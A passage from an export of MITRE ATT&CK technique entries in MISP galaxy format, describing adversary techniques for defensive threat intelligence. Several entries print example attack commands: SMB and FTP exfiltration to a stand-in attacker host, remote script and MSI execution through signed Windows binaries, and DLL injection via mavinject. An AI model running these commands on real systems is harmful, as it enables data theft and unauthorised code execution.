An app could contain malicious code in obfuscated or encrypted form, then deobfuscate or decrypt the code at runtime to evade many app vetting techniques.(Citation: Rastogi) (Citation: Zhou) (Citation: TrendMicro-Obad) (Citation: Xiao-iOS)
The tag is: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406"
Links |
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-21.html |
http://pages.cs.wisc.edu/vrastogi/static/papers/rcj13b.pdf[http://pages.cs.wisc.edu/vrastogi/static/papers/rcj13b.pdf] |
http://www.slideshare.net/Shakacon/fruit-vs-zombies-defeat-nonjailbroken-ios-malware-by-claud-xiao |
Obtain Device Cloud Backups - T1470
An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud backup services (e.g. Google’s Android backup service or Apple’s iCloud) could use that access to obtain sensitive data stored in device backups. For example, the Elcomsoft Phone Breaker product advertises the ability to retrieve iOS backup data from Apple’s iCloud (Citation: Elcomsoft-EPPB). Elcomsoft also describes (Citation: Elcomsoft-WhatsApp) obtaining WhatsApp communication histories from backups stored in iCloud.
The tag is: misp-galaxy:mitre-attack-pattern="Obtain Device Cloud Backups - T1470"
Exfiltration Over Alternative Protocol - T1048
Data exfiltration is performed with a different protocol from the main command and control protocol or channel. The data is likely to be sent to an alternate network location from the main command and control server. Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different channels could include Internet Web services such as cloud storage.
Adversaries may leverage various operating system utilities to exfiltrate data over an alternative protocol.
SMB command-line example:
-
<code>net use \\\attacker_system\IPC$ /user:username password && xcopy /S /H /C /Y C:\Users\\* \\\attacker_system\share_folder\</code>
Anonymous FTP command-line example:(Citation: Palo Alto OilRig Oct 2016)
-
<code>echo PUT C:\Path\to\file.txt | ftp -A attacker_system</code>
The tag is: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048"
Links |
Access Stored Application Data - T1409
Adversaries may access and collect application data resident on the device. Adversaries often target popular applications such as Facebook, WeChat, and Gmail.(Citation: SWB Exodus March 2019)
This technique requires either escalated privileges or for the targeted app to have stored the data in an insecure manner (e.g., with insecure file permissions or in an insecure location such as an external storage directory).
The tag is: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409"
Links |
https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-0.html |
https://securitywithoutborders.org/blog/2019/03/29/exodus.html |
System Network Connections Discovery - T1049
Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
An adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary’s goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview)
Windows
Utilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), "net use," and "net session" with [Net](https://attack.mitre.org/software/S0039).
Mac and Linux
In Mac and Linux, <code>netstat</code> and <code>lsof</code> can be used to list current connections. <code>who -a</code> and <code>w</code> can be used to show which users are currently logged in, similar to "net session".
The tag is: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049"
Links |
https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html |
https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-overview |
Service Registry Permissions Weakness - T1058
Windows stores local service configuration information in the Registry under <code>HKLM\SYSTEM\CurrentControlSet\Services</code>. The information stored under a service’s Registry keys can be manipulated to modify a service’s execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1086), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)
If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).
Adversaries may also alter Registry keys associated with service failure parameters (such as <code>FailureCommand</code>) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: TrustedSignal Service Failure)(Citation: Twitter Service Recovery Nov 2017)
The tag is: misp-galaxy:mitre-attack-pattern="Service Registry Permissions Weakness - T1058"
Links |
https://msdn.microsoft.com/library/windows/desktop/ms724878.aspx |
https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html |
Indicator Removal from Tools - T1066
If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target’s defensive systems or subsequent targets that may use similar systems.
A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use [Software Packing](https://attack.mitre.org/techniques/T1045) or otherwise modify the file so it has a different signature, and then re-use the malware.
The tag is: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1066"
Links |
Exploitation for Privilege Escalation - T1068
Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform Privilege Escalation to include use of software exploitation to circumvent those restrictions.
When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This may be a necessary step for an adversary compromising a endpoint system that has been properly configured and limits other privilege escalation methods.
The tag is: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068"
Links |
Bypass User Account Control - T1088
Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)
If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.
Many methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:
-
<code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)
Another bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)
The tag is: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088"
Exploitation for Defense Evasion - T1211
Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.
Adversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://attack.mitre.org/techniques/T1063). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.
The tag is: misp-galaxy:mitre-attack-pattern="Exploitation for Defense Evasion - T1211"
Links |
Extra Window Memory Injection - T1181
Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)
Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.
Execution granted through EWM injection may take place in the address space of a separate live process. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this may allow access to both the target process’s memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Endgame Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)
The tag is: misp-galaxy:mitre-attack-pattern="Extra Window Memory Injection - T1181"
Exploitation for Credential Access - T1212
Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain access to systems. One example of this is MS14-068, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions. (Citation: Technet MS14-068) (Citation: ADSecurity Detecting Forged Tickets) Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.
The tag is: misp-galaxy:mitre-attack-pattern="Exploitation for Credential Access - T1212"
Links |
https://technet.microsoft.com/en-us/library/security/ms14-068.aspx |
Component Object Model Hijacking - T1122
The Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary’s code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.
The tag is: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1122"
Data from Information Repositories - T1213
Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information.
Adversaries may also collect information from shared storage repositories hosted on cloud infrastructure or in software-as-a-service (SaaS) applications, as storage is one of the more fundamental requirements for cloud services and systems.
The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:
-
Policies, procedures, and standards
-
Physical / logical network diagrams
-
System architecture diagrams
-
Technical system documentation
-
Testing / development credentials
-
Work / project schedules
-
Source code snippets
-
Links to network shares and other internal resources
Specific common information repositories include:
Microsoft SharePoint
Found in many enterprise networks and often used to store and share significant amounts of documentation.
Atlassian Confluence
Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation.
The tag is: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213"
Links |
https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html |
System Network Connections Discovery - T1421
On Android, applications can use standard APIs to gather a list of network connections to and from the device. For example, the Network Connections app available in the Google Play Store (Citation: ConnMonitor) advertises this functionality.
The tag is: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1421"
Links |
https://play.google.com/store/apps/details?id=com.antispycell.connmonitor&hl=en |
Kernel Modules and Extensions - T1215
Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming) When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)
Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)
Kernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through <code>kextload</code> and <code>kextunload</code> commands. Several examples have been found where this can be used. (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) Examples have been found in the wild. (Citation: Securelist Ventir)
The tag is: misp-galaxy:mitre-attack-pattern="Kernel Modules and Extensions - T1215"
Network Share Connection Removal - T1126
Windows shared drive and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the <code>net use \\system\share /delete</code> command. (Citation: Technet Net Use)
Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.
The tag is: misp-galaxy:mitre-attack-pattern="Network Share Connection Removal - T1126"
Links |
Signed Script Proxy Execution - T1216
Scripts signed with trusted certificates can be used to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application whitelisting solutions that do not account for use of these scripts.
PubPrn.vbs is signed by Microsoft and can be used to proxy execution from a remote site. (Citation: Enigma0x3 PubPrn Bypass) Example command: <code>cscript C[:]\Windows\System32\Printing_Admin_Scripts\en-US\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png</code>
There are several other signed scripts that may be used in a similar manner. (Citation: GitHub Ultimate AppLocker Bypass List)
The tag is: misp-galaxy:mitre-attack-pattern="Signed Script Proxy Execution - T1216"
Links |
https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/ |
Signed Binary Proxy Execution - T1218
Binaries signed with trusted digital certificates can execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application whitelisting and signature validation on systems. This technique accounts for proxy execution methods that are not already accounted for within the existing techniques.
Msiexec.exe
Msiexec.exe is the command-line Windows utility for the Windows Installer. Adversaries may use msiexec.exe to launch malicious MSI files for code execution. An adversary may use it to launch local or network accessible MSI files.(Citation: LOLBAS Msiexec)(Citation: Rancor Unit42 June 2018)(Citation: TrendMicro Msiexec Feb 2018) Msiexec.exe may also be used to execute DLLs.(Citation: LOLBAS Msiexec)
-
<code>msiexec.exe /q /i "C:\path\to\file.msi"</code>
-
<code>msiexec.exe /q /i http[:]//site[.]com/file.msi</code>
-
<code>msiexec.exe /y "C:\path\to\file.dll"</code>
Mavinject.exe
Mavinject.exe is a Windows utility that allows for code execution. Mavinject can be used to input a DLL into a running process. (Citation: Twitter gN3mes1s Status Update MavInject32)
-
<code>"C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe" <PID> /INJECTRUNNING <PATH DLL></code>
-
<code>C:\Windows\system32\mavinject.exe <PID> /INJECTRUNNING <PATH DLL></code>
SyncAppvPublishingServer.exe
SyncAppvPublishingServer.exe can be used to run PowerShell scripts without executing powershell.exe. (Citation: Twitter monoxgas Status Update SyncAppvPublishingServer)
Odbcconf.exe
Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The utility can be misused to execute functionality equivalent to [Regsvr32](https://attack.mitre.org/techniques/T1117) with the REGSVR option to execute a DLL.(Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017)
-
<code>odbcconf.exe /S /A {REGSVR "C:\Users\Public\file.dll"}</code>
Several other binaries exist that may be used to perform similar behavior. (Citation: GitHub Ultimate AppLocker Bypass List)
The tag is: misp-galaxy:mitre-attack-pattern="Signed Binary Proxy Execution - T1218"
Links |
https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017 |
Execution through Module Load - T1129
The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like CreateProcess(), LoadLibrary(), etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)
The module loader can load DLLs:
-
via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;
-
via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);
-
via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;
-
via <code><file name="filename.extension" loadFrom="fully-qualified or relative pathname"></code> in an embedded or external "application manifest". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.
Adversaries can use this functionality as a way to execute arbitrary code on a system.
The tag is: misp-galaxy:mitre-attack-pattern="Execution through Module Load - T1129"
Links |
https://en.wikipedia.org/wiki/Microsoft_Windows_library_files |
Build social network persona - T1341
For attacks incorporating social engineering the utilization of an on-line persona is important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites ([Facebook](https://www.facebook.com), [LinkedIn](https://www.linkedin.com), [Twitter](https://twitter.com), [Google+](https://plus.google.com), etc.). (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)
The tag is: misp-galaxy:mitre-attack-pattern="Build social network persona - T1341"
Links |
Remote access tool development - T1351
A remote access tool (RAT) is a piece of software that allows a remote user to control a system as if they had physical access to that system. An adversary may utilize existing RATs, modify existing RATs, or create their own RAT. (Citation: ActiveMalwareEnergy)
The tag is: misp-galaxy:mitre-attack-pattern="Remote access tool development - T1351"
Links |
Secure and protect infrastructure - T1317
An adversary may secure and protect their infrastructure just as defenders do. This could include the use of VPNs, security software, logging and monitoring, passwords, or other defensive measures. (Citation: KrebsTerracottaVPN)
The tag is: misp-galaxy:mitre-attack-pattern="Secure and protect infrastructure - T1317"
Links |
Obfuscate or encrypt code - T1319
Obfuscation is the act of creating code that is more difficult to understand. Encoding transforms the code using a publicly available format. Encryption transforms the code such that it requires a key to reverse the encryption. (Citation: CylanceOpCleaver)
The tag is: misp-galaxy:mitre-attack-pattern="Obfuscate or encrypt code - T1319"
Links |
Elevated Execution with Prompt - T1514
Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.
Adversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it’s all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it’s all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it’s all broken!)
The tag is: misp-galaxy:mitre-attack-pattern="Elevated Execution with Prompt - T1514"
Data Encrypted for Impact - T1471
An adversary may encrypt files stored on the mobile device to prevent the user from accessing them, for example with the intent of only unlocking access to the files after a ransom is paid. Without escalated privileges, the adversary is generally limited to only encrypting files in external/shared storage locations. This technique has been demonstrated on Android. We are unaware of any demonstrated use on iOS.
The tag is: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1471"
Links |
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-28.html |
Man in the Browser - T1185
Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques. (Citation: Wikipedia Man in the Browser)
A specific example is when an adversary injects software into a browser that allows an them to inherit cookies, HTTP sessions, and SSL client certificates of a user and use the browser as a way to pivot into an authenticated intranet. (Citation: Cobalt Strike Browser Pivot) (Citation: ICEBRG Chrome Extensions)
Browser pivoting requires the SeDebugPrivilege and a high-integrity process to execute. Browser traffic is pivoted from the adversary’s browser through the user’s browser by setting up an HTTP proxy which will redirect any HTTP and HTTPS traffic. This does not alter the user’s traffic in any way. The proxy connection is severed as soon as the browser is closed. Whichever browser process the proxy is injected into, the adversary assumes the security context of that process. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could browse to any resource on an intranet that is accessible through the browser and which the browser has sufficient permissions, such as Sharepoint or webmail. Browser pivoting also eliminates the security provided by 2-factor authentication. (Citation: cobaltstrike manual)
The tag is: misp-galaxy:mitre-attack-pattern="Man in the Browser - T1185"
Links |
Hidden Files and Directories - T1158
To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls –a</code> for Linux and macOS).
Adversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.
Windows
Users can mark specific files as hidden by using the attrib.exe binary. Simply do <code>attrib +h filename</code> to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”.
Linux/Mac
Users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: <code>defaults write com.apple.finder AppleShowAllFiles YES</code>, and then relaunch the Finder Application.
Mac
Files on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.
The tag is: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1158"
System Network Configuration Discovery - T1422
On Android, details of onboard network interfaces are accessible to apps through the java.net.NetworkInterface class (Citation: NetworkInterface). The Android TelephonyManager class can be used to gather related information such as the IMSI, IMEI, and phone number (Citation: TelephonyManager).
The tag is: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422"
Links |
https://developer.android.com/reference/java/net/NetworkInterface.html |
https://developer.android.com/reference/android/telephony/TelephonyManager.html |
Cloud Instance Metadata API - T1522
Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.
Most cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API)
If adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)
The de facto standard across cloud service providers is to host the Instance Metadata API at <code>http[:]//169.254.169.254</code>.
The tag is: misp-galaxy:mitre-attack-pattern="Cloud Instance Metadata API - T1522"
Links |
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html |
https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse |
Identify analyst level gaps - T1233
Analysts identify gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: BrighthubGapAnalysis) (Citation: ICD115) (Citation: JP2-01)
The tag is: misp-galaxy:mitre-attack-pattern="Identify analyst level gaps - T1233"
Links |
Generate analyst intelligence requirements - T1234
Analysts may receive Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from leadership or key decision makers and generate intelligence requirements to articulate intricacies of information required on a topic or question. (Citation: Herring1999)
The tag is: misp-galaxy:mitre-attack-pattern="Generate analyst intelligence requirements - T1234"
Links |
Identify security defensive capabilities - T1263
Security defensive capabilities are designed to stop or limit unauthorized network traffic or other types of accesses. (Citation: OSFingerprinting2014) (Citation: NMAP WAF NSE)
The tag is: misp-galaxy:mitre-attack-pattern="Identify security defensive capabilities - T1263"
Links |
Use multiple DNS infrastructures - T1327
A technique used by the adversary similar to Dynamic DNS with the exception that the use of multiple DNS infrastructures likely have whois records. (Citation: KrebsStLouisFed)
The tag is: misp-galaxy:mitre-attack-pattern="Use multiple DNS infrastructures - T1327"
Links |
Analyze application security posture - T1293
An adversary can probe a victim’s network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: Li2014ExploitKits) (Citation: RecurlyGHOST)
The tag is: misp-galaxy:mitre-attack-pattern="Analyze application security posture - T1293"
Links |
Malicious Software Development Tools - T1462
As demonstrated by the XcodeGhost attack (Citation: PaloAlto-XcodeGhost1), app developers could be provided with modified versions of software development tools (e.g. compilers) that automatically inject malicious or exploitable code into applications.
Detection: Enterprises could deploy integrity checking software to the computers that they use to develop code to detect presence of unauthorized, modified software development tools.
Platforms: Android, iOS
The tag is: misp-galaxy:mitre-attack-pattern="Malicious Software Development Tools - T1462"
Malicious Software Development Tools - T1462 has relationships with:
-
revoked-by: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1474" with estimative-language:likelihood-probability="almost-certain"
Links |
Identify technology usage patterns - T1264
Technology usage patterns include identifying if users work offsite, connect remotely, or other possibly less restricted/secured access techniques. (Citation: SANSRemoteAccess)
The tag is: misp-galaxy:mitre-attack-pattern="Identify technology usage patterns - T1264"
Links |
Generate Fraudulent Advertising Revenue - T1472
An adversary could seek to generate fraudulent advertising revenue from mobile devices, for example by triggering automatic clicks of advertising links without user involvement.
The tag is: misp-galaxy:mitre-attack-pattern="Generate Fraudulent Advertising Revenue - T1472"
Links |
Identify sensitive personnel information - T1274
An adversary may identify sensitive personnel information not typically posted on a social media site, such as address, marital status, financial history, and law enforcement infractions. This could be conducted by searching public records that are frequently available for free or at a low cost online. (Citation: RSA-APTRecon)
The tag is: misp-galaxy:mitre-attack-pattern="Identify sensitive personnel information - T1274"
Links |
Identify web defensive services - T1256
An adversary can attempt to identify web defensive services as [CloudFlare](https://www.cloudflare.com), [IPBan](https://github.com/jjxtra/Windows-IP-Ban-Service), and [Snort](https://www.snort.org). This may be done by passively detecting services, like [CloudFlare](https://www.cloudflare.com) routing, or actively, such as by purposefully tripping security defenses. (Citation: NMAP WAF NSE)
The tag is: misp-galaxy:mitre-attack-pattern="Identify web defensive services - T1256"
Links |
Steal Application Access Token - T1528
Adversaries can steal user application access tokens as a means of acquiring credentials to access remote systems and resources. This can occur through social engineering and typically requires user action to grant access.
Application access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft’s Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials.
Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user’s OAuth token. The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a link through [Spearphishing Link](https://attack.mitre.org/techniques/T1192) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1527).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019)
Adversaries have been seen targeting Gmail, Microsoft Outlook, and Yahoo Mail users.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017)
The tag is: misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528"
Identify people of interest - T1269
The attempt to identify people of interest or with an inherent weakness for direct or indirect targeting to determine an approach to compromise a person or organization. Such targets may include individuals with poor OPSEC practices or those who have a trusted relationship with the intended target. (Citation: RSA-APTRecon) (Citation: Scasny2015)
The tag is: misp-galaxy:mitre-attack-pattern="Identify people of interest - T1269"
Links |
Data from Local System - T1533
Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system.
Local system data includes information stored by the operating system. Access to local system data often requires escalated privileges (e.g. root access). Examples of local system data include authentication tokens, the device keyboard cache, Wi-Fi passwords, and photos.
The tag is: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533"
Links |
Post compromise tool development - T1353
